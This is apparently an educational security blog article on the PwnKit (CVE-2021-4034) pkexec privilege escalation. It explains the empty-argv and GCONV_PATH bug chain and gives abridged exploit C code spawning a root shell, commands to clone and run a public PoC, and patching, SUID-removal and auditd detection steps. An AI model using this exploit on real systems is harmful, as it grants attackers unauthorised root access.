Disclaimer: This article is for educational purposes and authorized security testing only. Run these techniques exclusively against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal in virtually every jurisdiction.
Introduction / Overview
CVE-2021-4034, nicknamed PwnKit, is a memory-corruption vulnerability in pkexec, a SUID-root helper that ships with polkit (formerly PolicyKit) on practically every major Linux distribution. Discovered by Qualys and disclosed in January 2022, the bug had been present in the codebase since the very first version of pkexec in 2009 — over a decade of exposure.
What makes PwnKit so dangerous is its reliability. It is not a heap spray or a race condition you have to win; it is a deterministic logic flaw that yields a local root shell on default installations with no special configuration. In this article you'll learn exactly why the bug exists, how attackers weaponize argv and GCONV_PATH to hijack execution, how to demonstrate it safely in a lab, and — just as importantly — how defenders detect and remediate it.
How it works / Background
pkexec lets an authorized user run a command as another user (typically root) according to polkit policy. Because it must transition privileges, it is installed SUID root:
$ ls -l /usr/bin/pkexec
-rwsr-xr-x 1 root root 31032 ... /usr/bin/pkexecBashThe vulnerability lives in pkexec's main() argument handling. A normal C program receives argc (argument count) and argv (argument vector), where argv[0] is the program name and the list is NULL-terminated. pkexec loops over argv to find the command to execute:
for (n = 1; n < (guint) argc; n++) { ... }CThe fatal assumption is that argc is always at least 1. But execve() allows a caller to launch a program with an empty argv array — argc == 0. When that happens, pkexec's loop logic reads and writes out of bounds, treating adjacent memory (the envp environment array) as if it were argv. Specifically, pkexec reconstructs an environment variable and re-inserts it into the environment in a way the attacker fully controls.
This is where GCONV_PATH enters. The GNU C Library uses iconv/gconv modules to convert between character encodings. When glibc needs an "unknown" charset conversion, it consults a gconv-modules configuration file, and the search path can be influenced by the GCONV_PATH environment variable. Normally SUID binaries strip dangerous variables like GCONV_PATH and LD_PRELOAD, but PwnKit reintroduces GCONV_PATH into the environment after pkexec has already sanitized it — because the out-of-bounds write happens during argument processing.
pkexec then triggers an error path that calls g_printerr(), which (when output isn't UTF-8) invokes glibc charset conversion. glibc loads the attacker's malicious gconv module from the path pointed to by GCONV_PATH, executing attacker code as root.
The chain in one sentence: empty argv → out-of-bounds read/write → reintroduce GCONV_PATH → force a charset conversion → load and run an attacker-controlled .so as root.
Prerequisites / Lab setup
Stand up an intentionally vulnerable VM. Any pre-patch Ubuntu 20.04, Debian 11, CentOS/RHEL 8, or Fedora image works. Do this only in an isolated lab.
Check whether the target is vulnerable by inspecting the polkit package version:
# Debian / Ubuntu
dpkg -l | grep -i policykit
# RHEL / CentOS / Fedora
rpm -qa | grep -i polkitBashPatched versions on Ubuntu 20.04, for example, are policykit-1 0.105-26ubuntu1.1 or later. Anything earlier is vulnerable. You can also confirm the SUID bit is set on pkexec (shown above) — without it, the exploit cannot escalate.
Attack walkthrough / PoC
The cleanest public PoC is ryaagard/CVE-2021-4034 / arthepsy/CVE-2021-4034, but the canonical reference implementation comes from Qualys's advisory. Below is a minimal walkthrough of the self-contained C exploit pattern that compiles its own malicious gconv module at runtime.
First, the exploit defines a fake gconv module and a gconv-modules config that tells glibc to load it for a bogus encoding:
// pwnkit.c (abridged, based on public PoCs)
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" setuid(0); setgid(0);\n"
" execve(\"/bin/sh\", NULL, NULL);\n"
"}\n";CThe exploit writes that source, compiles it into GCONV_PATH=./pwnkit/pwnkit.so, drops a matching gconv-modules file, then calls execve("/usr/bin/pkexec", argv, envp) with a carefully crafted environment and an empty argv (argv[0] = NULL):
char *const envp[] = {
"pwnkit", // becomes argv[0] via OOB
"PATH=GCONV_PATH=.", // smuggles GCONV_PATH
"CHARSET=PWNKIT", // forces the bogus conversion
"SHELL=pwnkit",
NULL
};
execve("/usr/bin/pkexec", (char *const[]){ NULL }, envp);CTo run a precompiled PoC end to end:
# Clone and build
git clone https://github.com/arthepsy/CVE-2021-4034.git
cd CVE-2021-4034
gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
# Launch
./cve-2021-4034-pocBashA successful run drops you straight into a root shell:
$ ./cve-2021-4034-poc
# id
uid=0(root) gid=0(root) groups=0(root)...
# whoami
rootBashThere is also a one-liner-style Bash variant and a Python implementation, but the C version is the most reliable. The exploit leaves the GCONV_PATH directory artifacts behind, which matters for the defensive section.
For context on other Linux escalation primitives, see my notes on Linux SUID binary exploitation and abusing sudo misconfigurations.
Mermaid diagram

Text fallback: An unprivileged user invokes pkexec with an empty argument vector, triggering an out-of-bounds write that re-injects GCONV_PATH; when pkexec prints an error, glibc loads the attacker's malicious gconv module, which executes a root shell.
Detection & Defense (Blue Team)
PwnKit is trivially exploitable, so patching is non-negotiable and takes priority over everything else here.
1. Patch. Update polkit to a fixed version through your distro's package manager:
# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade policykit-1
# RHEL / CentOS / Fedora
sudo dnf update polkit # or: sudo yum update polkitBash2. Temporary mitigation (if you truly cannot patch). Qualys's recommended stopgap is to strip the SUID bit from pkexec, which neutralizes the privilege escalation entirely (at the cost of pkexec functionality):
sudo chmod 0755 /usr/bin/pkexec
# Verify the 's' is gone:
ls -l /usr/bin/pkexecBash3. Detection. The exploit produces distinctive artifacts and logs:
- pkexec logs an abnormal invocation. Watch
/var/log/auth.log,/var/log/secure, or the journal for messages likeThe value for the SHELL variable was not found in the /etc/shells fileandThe value for environment variable XAUTHORITY contains suspicious content:
sudo journalctl | grep -iE "pkexec|polkit|SHELL variable|suspicious content"
grep -iE "pkexec.*The value for" /var/log/auth.log /var/log/secure 2>/dev/nullBash- An auditd rule catching pkexec execution with no arguments is a strong signal. Many exploit runs leave a freshly created
GCONV_PATHdirectory (e.g.gconv-modulesplus a.so) in the user's working directory:
# Audit every execution of pkexec
sudo auditctl -w /usr/bin/pkexec -p x -k pwnkit
# Review hits
sudo ausearch -k pwnkitBash- EDR/Falco can alert on a SUID process spawning a shell with
uid 0immediately after loading a.sofrom a non-standard path. The MITRE ATT&CK technique is T1548.001 — Abuse Elevation Control Mechanism: Setuid and Setgid.
4. Hardening. Reduce reliance on SUID binaries, enable AppArmor/SELinux confinement for polkit, and audit your fleet for stray SUID files:
find / -perm -4000 -type f 2>/dev/nullBashConclusion
PwnKit is a textbook example of how a decade-old assumption — "argc is always at least 1" — combines with a powerful glibc feature (GCONV_PATH gconv module loading) to produce a fully reliable local root. Because the vulnerable code path is reachable on default installations and the exploit is deterministic, it remains a favorite for post-exploitation privilege escalation on unpatched hosts. The defensive story is refreshingly simple: patch polkit, or if you can't, drop the SUID bit. For a broader methodology, pair this with my Linux privilege escalation checklist.
References
- Qualys Security Advisory (CVE-2021-4034 / PwnKit): https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
- MITRE CVE record: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4034
- NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2021-4034
- MITRE ATT&CK T1548.001 — Setuid and Setgid: https://attack.mitre.org/techniques/T1548/001/
- HackTricks — Linux Privilege Escalation: https://book.hacktricks.xyz/linux-hardening/privilege-escalation
- Public PoC (arthepsy): https://github.com/arthepsy/CVE-2021-4034



Comments